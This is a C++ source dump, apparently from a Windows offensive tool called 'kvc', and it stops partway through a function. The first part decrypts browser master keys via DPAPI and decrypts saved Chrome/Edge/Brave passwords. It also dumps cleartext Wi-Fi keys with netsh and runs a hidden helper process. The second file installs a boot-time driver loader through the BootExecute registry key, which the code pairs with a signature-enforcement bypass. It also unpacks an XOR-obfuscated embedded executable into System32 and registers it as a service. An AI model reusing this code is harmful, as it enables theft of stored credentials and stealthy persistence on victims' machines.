    auto localStatePath = browserPath + DPAPIConstants::GetLocalStateFile();
    if (!fs::exists(localStatePath)) {
        ERROR(L"Local State file not found: %s", localStatePath.c_str());
        return false;
    }
    
    std::ifstream localStateFile(localStatePath);
    std::string content((std::istreambuf_iterator<char>(localStateFile)), std::istreambuf_iterator<char>());
    
    auto encryptedKeyMarker = DPAPIConstants::GetEncryptedKeyField();
    size_t keyPos = content.find(encryptedKeyMarker);
    if (keyPos == std::string::npos) {
        ERROR(L"encrypted_key not found in Local State");
        return false;
    }
    
    size_t startQuote = content.find("\"", keyPos + encryptedKeyMarker.length());
    size_t endQuote = content.find("\"", startQuote + 1);
    
    if (startQuote == std::string::npos || endQuote == std::string::npos) {
        ERROR(L"Failed to parse encrypted_key from JSON");
        return false;
    }
    
    std::string encryptedKeyBase64 = content.substr(startQuote + 1, endQuote - startQuote - 1);
    
    std::vector<BYTE> encryptedKeyBytes = CryptoUtils::Base64Decode(encryptedKeyBase64);
    if (encryptedKeyBytes.empty()) {
        ERROR(L"Failed to decode base64 master key");
        return false;
    }
    
    if (encryptedKeyBytes.size() > 5) {
        encryptedKeyBytes = std::vector<BYTE>(encryptedKeyBytes.begin() + 5, encryptedKeyBytes.end());
    } else {
        ERROR(L"Encrypted key too short");
        return false;
    }
    
    decryptedKey = DecryptWithDPAPI(encryptedKeyBytes, masterKeys);
    if (decryptedKey.empty()) {
        ERROR(L"Failed to decrypt %s master key", browserName.c_str());
        return false;
    }
    
    SUCCESS(L"%s master key decrypted successfully", browserName.c_str());
    return true;
}

// Process SQLite login database with AES-GCM decryption
int Controller::ProcessLoginDatabase(const std::wstring& loginDataPath,
                                   const std::wstring& browserName,
                                   const std::wstring& profileName,
                                   const std::vector<BYTE>& masterKey,
                                   std::vector<PasswordResult>& results,
                                   const std::wstring& outputPath) noexcept 
{
    std::wstring systemTempPath = GetSystemTempPath();
    auto tempDbPath = systemTempPath + L"\\" + DPAPIConstants::GetTempLoginDB();
    
    try {
        fs::copy_file(loginDataPath, tempDbPath, fs::copy_options::overwrite_existing);
    } catch (...) {
        ERROR(L"Failed to copy login database: %s", loginDataPath.c_str());
        return 0;
    }
    
    void* db;
    std::string tempDbPathA = StringUtils::WideToUTF8(tempDbPath);
    
    if (m_sqlite.open_v2(tempDbPathA.c_str(), &db, SQLITE_OPEN_READONLY, nullptr) != 0) {
        ERROR(L"Failed to open SQLite database: %s", tempDbPath.c_str());
        fs::remove(tempDbPath);
        return 0;
    }
    
    void* stmt;
    auto loginQuery = DPAPIConstants::GetLoginQuery();
    if (m_sqlite.prepare_v2(db, loginQuery.c_str(), -1, &stmt, nullptr) != 0) {
        ERROR(L"Failed to prepare SQLite query");
        m_sqlite.close_v2(db);
        fs::remove(tempDbPath);
        return 0;
    }
    
    int passwordCount = 0;
    while (m_sqlite.step(stmt) == 100) { // SQLITE_ROW
        if (g_interrupted) {
            INFO(L"Database processing cancelled by user");
            break;
        }
        
        PasswordResult result;
        result.type = browserName;
        result.profile = profileName;
        
        if (auto urlText = m_sqlite.column_text(stmt, 0)) {
            result.url = StringUtils::UTF8ToWide(reinterpret_cast<const char*>(urlText));
        }
        
        if (auto usernameText = m_sqlite.column_text(stmt, 1)) {
            result.username = StringUtils::UTF8ToWide(reinterpret_cast<const char*>(usernameText));
        }
        
        const BYTE* pwdBytes = static_cast<const BYTE*>(m_sqlite.column_blob(stmt, 2));
        int pwdSize = m_sqlite.column_bytes(stmt, 2);
        
        if (pwdBytes && pwdSize > 0) {
            std::vector<BYTE> encryptedPwd(pwdBytes, pwdBytes + pwdSize);
            std::string decryptedPwd = DecryptChromeAESGCM(encryptedPwd, masterKey);
            result.password = StringUtils::UTF8ToWide(decryptedPwd);
            result.status = DPAPIConstants::GetStatusDecrypted();
            
            results.push_back(result);
            passwordCount++;
        }
    }
    
    m_sqlite.finalize(stmt);
    m_sqlite.close_v2(db);
    fs::remove(tempDbPath);
    
    return passwordCount;
}

// Extract WiFi credentials using netsh commands
bool Controller::ExtractWiFiCredentials(std::vector<PasswordResult>& results) noexcept 
{
    INFO(L"Extracting WiFi passwords...");
    
    FILE* pipe = _popen(DPAPIConstants::GetNetshShowProfiles().c_str(), "r");
    if (!pipe) {
        ERROR(L"Failed to run netsh command");
        return false;
    }
    
    std::string netshResult;
    char buffer[128];
    while (fgets(buffer, sizeof(buffer), pipe)) {
        netshResult += buffer;
    }
    _pclose(pipe);
    
    std::vector<std::string> profiles;
    size_t pos = 0;
    const auto profileMarker = DPAPIConstants::GetWiFiProfileMarker();
    
    while ((pos = netshResult.find(profileMarker, pos)) != std::string::npos) {
        size_t start = netshResult.find(":", pos) + 2;
        size_t end = netshResult.find("\n", start);
        if (start != std::string::npos && end != std::string::npos) {
            std::string profile = netshResult.substr(start, end - start);
            
            // Trim whitespace
            profile.erase(0, profile.find_first_not_of(" \t\r\n"));
            profile.erase(profile.find_last_not_of(" \t\r\n") + 1);
            
            if (!profile.empty()) {
                profiles.push_back(profile);
            }
        }
        pos = end;
    }
    
    for (const auto& profile : profiles) {
        if (g_interrupted) {
            INFO(L"WiFi processing cancelled by user");
            break;
        }
        
        std::string keyCommand = "netsh wlan show profile name=\"" + profile + "\" key=clear";
        FILE* keyPipe = _popen(keyCommand.c_str(), "r");
        if (!keyPipe) continue;
        
        std::string keyResult;
        while (fgets(buffer, sizeof(buffer), keyPipe)) {
            keyResult += buffer;
        }
        _pclose(keyPipe);
        
        size_t keyPos = keyResult.find("Key Content");
        if (keyPos != std::string::npos) {
            size_t keyStart = keyResult.find(":", keyPos) + 2;
            size_t keyEnd = keyResult.find("\n", keyStart);
            if (keyStart != std::string::npos && keyEnd != std::string::npos) {
                std::string password = keyResult.substr(keyStart, keyEnd - keyStart);
                password.erase(0, password.find_first_not_of(" \t\r\n"));
                password.erase(password.find_last_not_of(" \t\r\n") + 1);
                
                if (!password.empty()) {
                    PasswordResult wifiResult;
                    wifiResult.type = L"WiFi";
                    wifiResult.profile = StringUtils::UTF8ToWide(profile);
                    wifiResult.password = StringUtils::UTF8ToWide(password);
                    wifiResult.status = DPAPIConstants::GetStatusDecrypted();
                    results.push_back(wifiResult);
                }
            }
        }
    }
    
    return true;
}

// SQLite library loading
bool Controller::LoadSQLiteLibrary() noexcept 
{
    m_sqlite.hModule = LoadLibraryW(L"winsqlite3.dll");
    if (!m_sqlite.hModule) {
        ERROR(L"winsqlite3.dll not found - Windows 10/11 required");
        return false;
    }
    
    // Database connection management functions
    m_sqlite.open_v2 = reinterpret_cast<decltype(m_sqlite.open_v2)>(
        GetProcAddress(m_sqlite.hModule, "sqlite3_open_v2"));
    m_sqlite.close_v2 = reinterpret_cast<decltype(m_sqlite.close_v2)>(
        GetProcAddress(m_sqlite.hModule, "sqlite3_close_v2"));
    
    // Statement preparation and cleanup functions
    m_sqlite.prepare_v2 = reinterpret_cast<decltype(m_sqlite.prepare_v2)>(
        GetProcAddress(m_sqlite.hModule, "sqlite3_prepare_v2"));
    m_sqlite.finalize = reinterpret_cast<decltype(m_sqlite.finalize)>(
        GetProcAddress(m_sqlite.hModule, "sqlite3_finalize"));
    
    // Query execution function
    m_sqlite.step = reinterpret_cast<decltype(m_sqlite.step)>(
        GetProcAddress(m_sqlite.hModule, "sqlite3_step"));
    
    // Column data retrieval functions
    m_sqlite.column_text = reinterpret_cast<decltype(m_sqlite.column_text)>(
        GetProcAddress(m_sqlite.hModule, "sqlite3_column_text"));
    m_sqlite.column_blob = reinterpret_cast<decltype(m_sqlite.column_blob)>(
        GetProcAddress(m_sqlite.hModule, "sqlite3_column_blob"));
    m_sqlite.column_bytes = reinterpret_cast<decltype(m_sqlite.column_bytes)>(
        GetProcAddress(m_sqlite.hModule, "sqlite3_column_bytes"));
    
    // Verify all required functions were loaded successfully
    if (!m_sqlite.open_v2 || !m_sqlite.close_v2 ||           // Database lifecycle
        !m_sqlite.prepare_v2 || !m_sqlite.finalize ||        // Statement lifecycle  
        !m_sqlite.step ||                                     // Query execution
        !m_sqlite.column_text || !m_sqlite.column_blob ||    // Data retrieval
        !m_sqlite.column_bytes) {                             // Data size info
        ERROR(L"Failed to load required winsqlite3.dll functions");
        UnloadSQLiteLibrary();
        return false;
    }
    
    SUCCESS(L"winsqlite3.dll loaded successfully with all required functions");
    return true;
}

void Controller::UnloadSQLiteLibrary() noexcept 
{
    if (m_sqlite.hModule) {
        FreeLibrary(m_sqlite.hModule);
        m_sqlite.hModule = nullptr;
    }
}

// DPAPI decryption for browser master keys
std::vector<BYTE> Controller::DecryptWithDPAPI(const std::vector<BYTE>& encryptedData,
                                              const std::vector<RegistryMasterKey>& masterKeys) noexcept 
{
    DATA_BLOB in = { static_cast<DWORD>(encryptedData.size()), const_cast<BYTE*>(encryptedData.data()) };
    DATA_BLOB out = {};

    if (CryptUnprotectData(&in, nullptr, nullptr, nullptr, nullptr, CRYPTPROTECT_UI_FORBIDDEN, &out)) {
        std::vector<BYTE> result(out.pbData, out.pbData + out.cbData);
        LocalFree(out.pbData);
        return result;
    }
    
    return {};
}

// Chrome AES-GCM decryption for v10+ password format
std::string Controller::DecryptChromeAESGCM(const std::vector<BYTE>& encryptedData,
                                          const std::vector<BYTE>& key) noexcept 
{
    // Check for Chrome v10+ format
    if (encryptedData.size() >= 15 &&
        encryptedData[0] == 'v' &&
        encryptedData[1] == '1' &&
        encryptedData[2] == '0') {

        std::vector<BYTE> nonce(encryptedData.begin() + 3, encryptedData.begin() + 15);
        std::vector<BYTE> ciphertext(encryptedData.begin() + 15, encryptedData.end() - 16);
        std::vector<BYTE> tag(encryptedData.end() - 16, encryptedData.end());

        BCRYPT_ALG_HANDLE hAlg = nullptr;
        NTSTATUS status = BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, nullptr, 0);
        if (status != 0) return "";

        status = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, 
                                  reinterpret_cast<BYTE*>(const_cast<wchar_t*>(BCRYPT_CHAIN_MODE_GCM)), 
                                  sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
        if (status != 0) {
            BCryptCloseAlgorithmProvider(hAlg, 0);
            return "";
        }

        BCRYPT_KEY_HANDLE hKey = nullptr;
        status = BCryptGenerateSymmetricKey(hAlg, &hKey, nullptr, 0, 
                                           const_cast<BYTE*>(key.data()), 
                                           static_cast<ULONG>(key.size()), 0);
        if (status != 0) {
            BCryptCloseAlgorithmProvider(hAlg, 0);
            return "";
        }

        BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo;
        BCRYPT_INIT_AUTH_MODE_INFO(authInfo);
        authInfo.pbNonce = nonce.data();
        authInfo.cbNonce = static_cast<ULONG>(nonce.size());
        authInfo.pbTag = tag.data();
        authInfo.cbTag = static_cast<ULONG>(tag.size());

        std::vector<BYTE> plaintext(ciphertext.size());
        ULONG cbResult = 0;
        
        status = BCryptDecrypt(hKey, ciphertext.data(), 
                              static_cast<ULONG>(ciphertext.size()), 
                              &authInfo, nullptr, 0, 
                              plaintext.data(), 
                              static_cast<ULONG>(plaintext.size()), 
                              &cbResult, 0);
        
        BCryptDestroyKey(hKey);
        BCryptCloseAlgorithmProvider(hAlg, 0);

        if (status == 0) {
            return std::string(plaintext.begin(), plaintext.begin() + cbResult);
        }
    }
    
    // Fallback for legacy formats
    return std::string(encryptedData.begin(), encryptedData.end());
}

// Browser data extraction with kvc_pass integration
bool Controller::ExportBrowserData(const std::wstring& outputPath, const std::wstring& browserType) noexcept
{
    INFO(L"Starting browser password extraction for %s", browserType.c_str());
    
    // Check for kvc_pass.exe in current directory and system directories
	std::wstring decryptorPath = L"kvc_pass.exe";
	if (GetFileAttributesW(decryptorPath.c_str()) == INVALID_FILE_ATTRIBUTES) {
		// Try system32 directory
		wchar_t systemDir[MAX_PATH];
		if (GetSystemDirectoryW(systemDir, MAX_PATH) > 0) {
			decryptorPath = std::wstring(systemDir) + L"\\kvc_pass.exe";
			if (GetFileAttributesW(decryptorPath.c_str()) == INVALID_FILE_ATTRIBUTES) {
				ERROR(L"kvc_pass.exe not found in current directory or system directory");
				ERROR(L"Please ensure kvc_pass.exe is in the same directory as kvc.exe or in System32");
				return false;
			}
		} else {
			ERROR(L"Failed to get system directory path");
			return false;
		}
	}
    
    // Validate browser type
	if (browserType != L"chrome" && browserType != L"brave" && 
		browserType != L"edge" && browserType != L"all") {
		ERROR(L"Unsupported browser type: %s. Supported: chrome, brave, edge, all", 
			  browserType.c_str());
		return false;
	}
    
    // Create command line for kvc_pass
    std::wstring commandLine = L"\"" + decryptorPath + L"\" " + browserType + 
                          L" --output-path \"" + outputPath + L"\"";
    
    STARTUPINFOW si = {};
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
    
    PROCESS_INFORMATION pi = {};
    
    if (!CreateProcessW(nullptr, const_cast<wchar_t*>(commandLine.c_str()), 
                       nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi)) {
        ERROR(L"Failed to start kvc_pass: %d", GetLastError());
        return false;
    }
    
    // Wait for completion with timeout
    DWORD waitResult = WaitForSingleObject(pi.hProcess, 5000); // 5 seconds timeout
    
    DWORD exitCode = 0;
    GetExitCodeProcess(pi.hProcess, &exitCode);
    
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    
    if (waitResult == WAIT_TIMEOUT) {
        ERROR(L"kvc_pass timed out");
        return false;
    }
    
    if (exitCode != 0) {
        ERROR(L"kvc_pass failed with exit code: %d", exitCode);
        return false;
    }
    
    SUCCESS(L"Browser passwords extracted successfully using kvc_pass");
    return true;
}

// Reads kvc_pass JSON output and merges decrypted passwords into passwordResults.
// Replaces v10/v20 placeholders with actual passwords; adds new entries if no match found.
void Controller::MergeKvcPassResults(const std::wstring& outputPath,
                                     const std::wstring& browserName,
                                     std::vector<PasswordResult>& results) noexcept
{
    std::wstring browserDir = outputPath + L"\\" + browserName;
    if (!fs::exists(browserDir))
        return;

    for (const auto& profileEntry : fs::directory_iterator(browserDir)) {
        if (!profileEntry.is_directory())
            continue;

        auto jsonPath = profileEntry.path() / L"passwords.json";
        if (!fs::exists(jsonPath))
            continue;

        std::ifstream jsonFile(jsonPath);
        if (!jsonFile.is_open())
            continue;

        std::string json((std::istreambuf_iterator<char>(jsonFile)),
                          std::istreambuf_iterator<char>());

        // Parse each {"origin":"...","username":"...","password":"..."} entry
        size_t pos = 0;
        while ((pos = json.find("{\"origin\":\"", pos)) != std::string::npos) {
            auto readField = [&](const std::string& key, size_t from) -> std::pair<std::string, size_t> {
                std::string needle = "\"" + key + "\":\"";
                size_t p = json.find(needle, from);
                if (p == std::string::npos) return {"", from};
                p += needle.size();
                std::string val;
                while (p < json.size()) {
                    if (json[p] == '\\' && p + 1 < json.size()) {
                        char c = json[p + 1];
                        if (c == '"') val += '"';
                        else if (c == '\\') val += '\\';
                        else if (c == 'n') val += '\n';
                        else val += c;
                        p += 2;
                    } else if (json[p] == '"') { ++p; break; }
                    else val += json[p++];
                }
                return {val, p};
            };

            auto [origin,   p1] = readField("origin",   pos);
            auto [username, p2] = readField("username", pos);
            auto [password, p3] = readField("password", pos);

            pos = json.find('}', pos);
            if (pos != std::string::npos) ++pos;

            if (origin.empty() || password.empty())
                continue;

            std::wstring wOrigin   = StringUtils::UTF8ToWide(origin);
            std::wstring wUsername = StringUtils::UTF8ToWide(username);
            std::wstring wPassword = StringUtils::UTF8ToWide(password);

            // Try to update an existing v10/v20 placeholder entry
            bool merged = false;
            for (auto& r : results) {
                if (r.type.find(browserName) == std::wstring::npos) continue;
                if (r.url != wOrigin || r.username != wUsername) continue;

                std::string blob = StringUtils::WideToUTF8(r.password);
                bool isBlob = blob.size() > 3 &&
                              (blob.substr(0, 3) == "v10" || blob.substr(0, 3) == "v20");
                if (!isBlob) continue;

                r.password = wPassword;
                r.status   = DPAPIConstants::GetStatusDecrypted();
                merged = true;
                break;
            }

            if (!merged) {
                PasswordResult nr;
                nr.type     = browserName;
                nr.profile  = profileEntry.path().filename().wstring();
                nr.url      = wOrigin;
                nr.username = wUsername;
                nr.password = wPassword;
                nr.status   = DPAPIConstants::GetStatusDecrypted();
                results.push_back(nr);
            }
        }
    }

    INFO(L"MergeKvcPassResults: merged kvc_pass passwords for %s", browserName.c_str());
}

<<<FILE: kvc/ControllerSmss.cpp>>>
Created:  2026-05-27 19:01:48
Modified: 2026-05-27 19:01:48
Size:     31.75 KB
// ControllerSmss.cpp
// SMSS Boot-Phase Driver Loader - install/uninstall logic
// Writes drivers.ini (UTF-16 LE BOM) and manages BootExecute registry entry

#include "Controller.h"
#include "DSEBypass.h"
#include "SymbolEngine.h"
#include "Utils.h"
#include "common.h"
#include "resource.h"
#include <fstream>
#include <string>

// ============================================================================
// CONSTANTS
// ============================================================================

static constexpr DWORD64 SMSS_CALLBACK_OFFSET = 0x20;

static constexpr DWORD SMSS_IOCTL_READ  = 0x80002048;
static constexpr DWORD SMSS_IOCTL_WRITE = 0x8000204c;

static const wchar_t* SMSS_INI_PATH       = L"C:\\Windows\\drivers.ini";
static const wchar_t* SMSS_SYSTEM32_PATH  = L"C:\\Windows\\System32\\kvc_smss.exe";
static const wchar_t* SMSS_BOOT_EXEC_KEY  = L"SYSTEM\\CurrentControlSet\\Control\\Session Manager";
static const wchar_t* SMSS_BOOT_EXEC_VAL  = L"BootExecute";
static const wchar_t* SMSS_ENTRY_NAME     = L"kvc_smss";
// Standard entry that must always be present
static const wchar_t* SMSS_DEFAULT_ENTRY  = L"autocheck autochk *";

static const wchar_t* HVCI_SVC_EXE_PATH  = L"C:\\Windows\\System32\\HvciShutdownSvc.exe";
static const wchar_t* HVCI_SVC_NAME      = L"HvciShutdownSvc";

// ============================================================================
// HELPERS
// ============================================================================

// Build the NT service path for a driver name (strips/adds .sys, returns
// \SystemRoot\System32\drivers\<name>.sys or the original path if absolute)
static std::wstring BuildDriverImagePath(const std::wstring& nameOrPath) {
    // If it looks like an absolute path, use as-is
    if (nameOrPath.size() >= 3 && nameOrPath[1] == L':') {
        return nameOrPath;
    }
    if (nameOrPath.find(L'\\') != std::wstring::npos) {
        return nameOrPath;
    }

    std::wstring stem = nameOrPath;
    // Strip .sys if present (case-insensitive)
    if (stem.size() > 4) {
        std::wstring ext = stem.substr(stem.size() - 4);
        if (ext[0] == L'.' &&
            (ext[1] == L's' || ext[1] == L'S') &&
            (ext[2] == L'y' || ext[2] == L'Y') &&
            (ext[3] == L's' || ext[3] == L'S')) {
            stem = stem.substr(0, stem.size() - 4);
        }
    }
    return L"\\SystemRoot\\System32\\drivers\\" + stem + L".sys";
}

// Strip .sys extension for service name
static std::wstring BuildServiceName(const std::wstring& nameOrPath) {
    // Extract last component of path
    size_t slash = nameOrPath.find_last_of(L"\\/");
    std::wstring base = (slash != std::wstring::npos) ? nameOrPath.substr(slash + 1) : nameOrPath;

    // Strip .sys
    if (base.size() > 4) {
        std::wstring ext = base.substr(base.size() - 4);
        if (ext[0] == L'.' &&
            (ext[1] == L's' || ext[1] == L'S') &&
            (ext[2] == L'y' || ext[2] == L'Y') &&
            (ext[3] == L's' || ext[3] == L'S')) {
            base = base.substr(0, base.size() - 4);
        }
    }
    return base;
}

// Write a UTF-16 LE file with BOM
static bool WriteUtf16File(const wchar_t* path, const std::wstring& content) {
    HANDLE hFile = CreateFileW(path, GENERIC_WRITE, 0, nullptr,
                               CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
    if (hFile == INVALID_HANDLE_VALUE) {
        ERROR(L"Failed to create %s: %lu", path, GetLastError());
        return false;
    }

    // BOM
    const WORD bom = 0xFEFF;
    DWORD written = 0;
    WriteFile(hFile, &bom, 2, &written, nullptr);

    // Content
    if (!content.empty()) {
        WriteFile(hFile, content.c_str(),
                  static_cast<DWORD>(content.size() * sizeof(wchar_t)),
                  &written, nullptr);
    }

    CloseHandle(hFile);
    return true;
}

// Read existing UTF-16 LE file (strips BOM if present).
// Falls back to UTF-8/ASCII widening if no UTF-16 LE BOM is detected,
// so manually edited UTF-8 files don't produce mojibake.
static bool ReadUtf16File(const wchar_t* path, std::wstring& out) {
    HANDLE hFile = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, nullptr,
                               OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
    if (hFile == INVALID_HANDLE_VALUE) return false;

    LARGE_INTEGER size;
    if (!GetFileSizeEx(hFile, &size) || size.QuadPart < 2) {
        CloseHandle(hFile);
        return false;
    }

    std::vector<BYTE> buf(static_cast<size_t>(size.QuadPart));
    DWORD read = 0;
    ReadFile(hFile, buf.data(), static_cast<DWORD>(buf.size()), &read, nullptr);
    CloseHandle(hFile);

    if (read < 2) return false;

    // UTF-16 LE with BOM
    if (buf[0] == 0xFF && buf[1] == 0xFE) {
        size_t wcharCount = (read - 2) / 2;
        out.assign(reinterpret_cast<const wchar_t*>(buf.data() + 2), wcharCount);
        return true;
    }

    // No UTF-16 LE BOM: treat as UTF-8 (handles both BOM-less UTF-8 and UTF-8 BOM)
    size_t start = 0;
    if (read >= 3 && buf[0] == 0xEF && buf[1] == 0xBB && buf[2] == 0xBF)
        start = 3; // skip UTF-8 BOM

    int wideLen = MultiByteToWideChar(CP_UTF8, 0,
                                      reinterpret_cast<const char*>(buf.data() + start),
                                      static_cast<int>(read - start),
                                      nullptr, 0);
    if (wideLen <= 0) return false;

    out.resize(static_cast<size_t>(wideLen));
    MultiByteToWideChar(CP_UTF8, 0,
                        reinterpret_cast<const char*>(buf.data() + start),
                        static_cast<int>(read - start),
                        out.data(), wideLen);
    return true;
}

// Count existing [DriverN] sections in an INI string
static int CountDriverSections(const std::wstring& ini) {
    int count = 0;
    size_t pos = 0;
    while ((pos = ini.find(L"[Driver", pos)) != std::wstring::npos) {
        // Check that next char after "Driver" is a digit
        size_t idx = pos + 7;
        if (idx < ini.size() && ini[idx] >= L'0' && ini[idx] <= L'9') count++;
        pos++;
    }
    return count;
}

// ============================================================================
// BOOT EXECUTE MANAGEMENT
// ============================================================================

static bool AddBootExecuteEntry() {
    HKEY hKey;
    LONG r = RegOpenKeyExW(HKEY_LOCAL_MACHINE, SMSS_BOOT_EXEC_KEY, 0,
                           KEY_READ | KEY_WRITE, &hKey);
    if (r != ERROR_SUCCESS) {
        ERROR(L"Failed to open Session Manager key: %ld", r);
        return false;
    }

    // Read current REG_MULTI_SZ value
    DWORD type = 0, dataSize = 0;
    RegQueryValueExW(hKey, SMSS_BOOT_EXEC_VAL, nullptr, &type, nullptr, &dataSize);
    if (dataSize == 0) dataSize = sizeof(wchar_t) * 2;

    std::vector<BYTE> buf(dataSize + 64 * sizeof(wchar_t));
    DWORD readSize = static_cast<DWORD>(buf.size());
    r = RegQueryValueExW(hKey, SMSS_BOOT_EXEC_VAL, nullptr, &type,
                         buf.data(), &readSize);
    if (r != ERROR_SUCCESS && r != ERROR_FILE_NOT_FOUND) {
        RegCloseKey(hKey);
        ERROR(L"Failed to read BootExecute: %ld", r);
        return false;
    }

    // Parse MULTI_SZ into list of strings
    std::vector<std::wstring> entries;
    const wchar_t* p = reinterpret_cast<const wchar_t*>(buf.data());
    const wchar_t* end = p + readSize / sizeof(wchar_t);
    while (p < end && *p != L'\0') {
        entries.emplace_back(p);
        p += entries.back().size() + 1;
    }

    // Ensure default entry exists
    bool hasDefault = false;
    bool hasSmss    = false;
    for (const auto& e : entries) {
        if (e == SMSS_DEFAULT_ENTRY) hasDefault = true;
        if (e == SMSS_ENTRY_NAME)    hasSmss    = true;
    }

    if (hasSmss) {
        INFO(L"kvc_smss already registered in BootExecute");
        RegCloseKey(hKey);
        return true;
    }

    if (!hasDefault) entries.insert(entries.begin(), std::wstring(SMSS_DEFAULT_ENTRY));
    entries.emplace_back(SMSS_ENTRY_NAME);

    // Rebuild MULTI_SZ buffer
    std::vector<wchar_t> newBuf;
    for (const auto& e : entries) {
        for (wchar_t c : e) newBuf.push_back(c);
        newBuf.push_back(L'\0');
    }
    newBuf.push_back(L'\0'); // Double-null terminator

    r = RegSetValueExW(hKey, SMSS_BOOT_EXEC_VAL, 0, REG_MULTI_SZ,
                       reinterpret_cast<const BYTE*>(newBuf.data()),
                       static_cast<DWORD>(newBuf.size() * sizeof(wchar_t)));
    RegCloseKey(hKey);

    if (r != ERROR_SUCCESS) {
        ERROR(L"Failed to write BootExecute: %ld", r);
        return false;
    }
    return true;
}

static bool RemoveBootExecuteEntry() {
    HKEY hKey;
    LONG r = RegOpenKeyExW(HKEY_LOCAL_MACHINE, SMSS_BOOT_EXEC_KEY, 0,
                           KEY_READ | KEY_WRITE, &hKey);
    if (r != ERROR_SUCCESS) {
        ERROR(L"Failed to open Session Manager key: %ld", r);
        return false;
    }

    DWORD type = 0, dataSize = 0;
    r = RegQueryValueExW(hKey, SMSS_BOOT_EXEC_VAL, nullptr, &type, nullptr, &dataSize);
    if (r == ERROR_FILE_NOT_FOUND) {
        RegCloseKey(hKey);
        return true; // Nothing to remove
    }
    if (r != ERROR_SUCCESS || dataSize == 0) {
        RegCloseKey(hKey);
        ERROR(L"Failed to query BootExecute size: %ld", r);
        return false;
    }

    std::vector<BYTE> buf(dataSize);
    DWORD readSize = dataSize;
    r = RegQueryValueExW(hKey, SMSS_BOOT_EXEC_VAL, nullptr, &type,
                         buf.data(), &readSize);
    if (r != ERROR_SUCCESS) {
        RegCloseKey(hKey);
        ERROR(L"Failed to read BootExecute: %ld", r);
        return false;
    }

    // Parse and rebuild without kvc_smss entry
    std::vector<std::wstring> entries;
    const wchar_t* p = reinterpret_cast<const wchar_t*>(buf.data());
    const wchar_t* end = p + readSize / sizeof(wchar_t);
    bool found = false;
    while (p < end && *p != L'\0') {
        std::wstring entry(p);
        p += entry.size() + 1;
        if (entry == SMSS_ENTRY_NAME) { found = true; continue; }
        entries.push_back(entry);
    }

    if (!found) {
        INFO(L"kvc_smss not found in BootExecute - nothing to remove");
        RegCloseKey(hKey);
        return true;
    }

    // Rebuild MULTI_SZ
    std::vector<wchar_t> newBuf;
    for (const auto& e : entries) {
        for (wchar_t c : e) newBuf.push_back(c);
        newBuf.push_back(L'\0');
    }
    newBuf.push_back(L'\0');

    r = RegSetValueExW(hKey, SMSS_BOOT_EXEC_VAL, 0, REG_MULTI_SZ,
                       reinterpret_cast<const BYTE*>(newBuf.data()),
                       static_cast<DWORD>(newBuf.size() * sizeof(wchar_t)));
    RegCloseKey(hKey);

    if (r != ERROR_SUCCESS) {
        ERROR(L"Failed to write BootExecute: %ld", r);
        return false;
    }
    return true;
}

// ============================================================================
// PUBLIC API - Controller methods
// ============================================================================

// Extracts HvciShutdownSvc.exe (IDR_DRV2, XOR+LZNT1) from the already-deployed kvc_smss.exe,
// writes it to System32 as HvciShutdownSvc.exe, and registers+starts the service.
// Best-effort: logs warnings and returns on any failure without aborting install.
static void DeployHvciShutdownService() noexcept {
    static constexpr WORD kHvciShutdownSvcRsrcId = 102;
    static constexpr BYTE kXorKey[]  = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C };

    // Load kvc_smss.exe as a data-only image to access its resource section
    HMODULE hSmss = LoadLibraryExW(SMSS_SYSTEM32_PATH, nullptr, LOAD_LIBRARY_AS_DATAFILE);
    if (!hSmss) {
        INFO(L"HvciShutdownSvc: LoadLibraryEx(kvc_smss.exe) failed (%lu)", GetLastError());
        return;
    }

    HRSRC   hRsrc    = FindResourceW(hSmss, MAKEINTRESOURCEW(kHvciShutdownSvcRsrcId), RT_RCDATA);
    DWORD   compSize = hRsrc ? SizeofResource(hSmss, hRsrc) : 0;
    HGLOBAL hGlob    = hRsrc ? LoadResource(hSmss, hRsrc)   : nullptr;
    const BYTE* compData = hGlob ? static_cast<const BYTE*>(LockResource(hGlob)) : nullptr;

    if (!compData || compSize == 0) {
        INFO(L"HvciShutdownSvc: IDR_DRV2 resource missing from kvc_smss.exe");
        FreeLibrary(hSmss);
        return;
    }

    // XOR decrypt into a local buffer
    std::vector<BYTE> decBuf(compData, compData + compSize);
    FreeLibrary(hSmss);
    for (DWORD i = 0; i < compSize; ++i)
        decBuf[i] ^= kXorKey[i % 7];

    // LZNT1 decompress via ntdll!RtlDecompressBuffer
    using RtlDecompress_t = NTSTATUS (WINAPI*)(USHORT, PUCHAR, ULONG, PUCHAR, ULONG, PULONG);
    auto pfnDecompress = reinterpret_cast<RtlDecompress_t>(
        GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlDecompressBuffer"));
    if (!pfnDecompress) {
        INFO(L"HvciShutdownSvc: RtlDecompressBuffer not found in ntdll.dll");
        return;
    }

    std::vector<BYTE> HvciShutdownSvcBuf(64 * 1024);
    ULONG finalSize = 0;
    NTSTATUS status = pfnDecompress(
        2 /* COMPRESSION_FORMAT_LZNT1 */,
        HvciShutdownSvcBuf.data(), static_cast<ULONG>(HvciShutdownSvcBuf.size()),
        decBuf.data(), static_cast<ULONG>(decBuf.size()),
        &finalSize);
    if (status != 0 || finalSize == 0) {
        INFO(L"HvciShutdownSvc: LZNT1 decompression failed (NTSTATUS 0x%lX)", (ULONG)status);
        return;
    }

    // Write HvciShutdownSvc.exe to System32
    HANDLE hOut = CreateFileW(HVCI_SVC_EXE_PATH, GENERIC_WRITE, 0, nullptr,
                              CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
    if (hOut == INVALID_HANDLE_VALUE) {
        INFO(L"HvciShutdownSvc: cannot write exe to System32 (%lu)", GetLastError());
        return;
    }
    DWORD written = 0;
    WriteFile(hOut, HvciShutdownSvcBuf.data(), finalSize, &written, nullptr);
    CloseHandle(hOut);
    if (written != finalSize) {
        INFO(L"HvciShutdownSvc: incomplete write (%lu of %lu bytes)", written, finalSize);
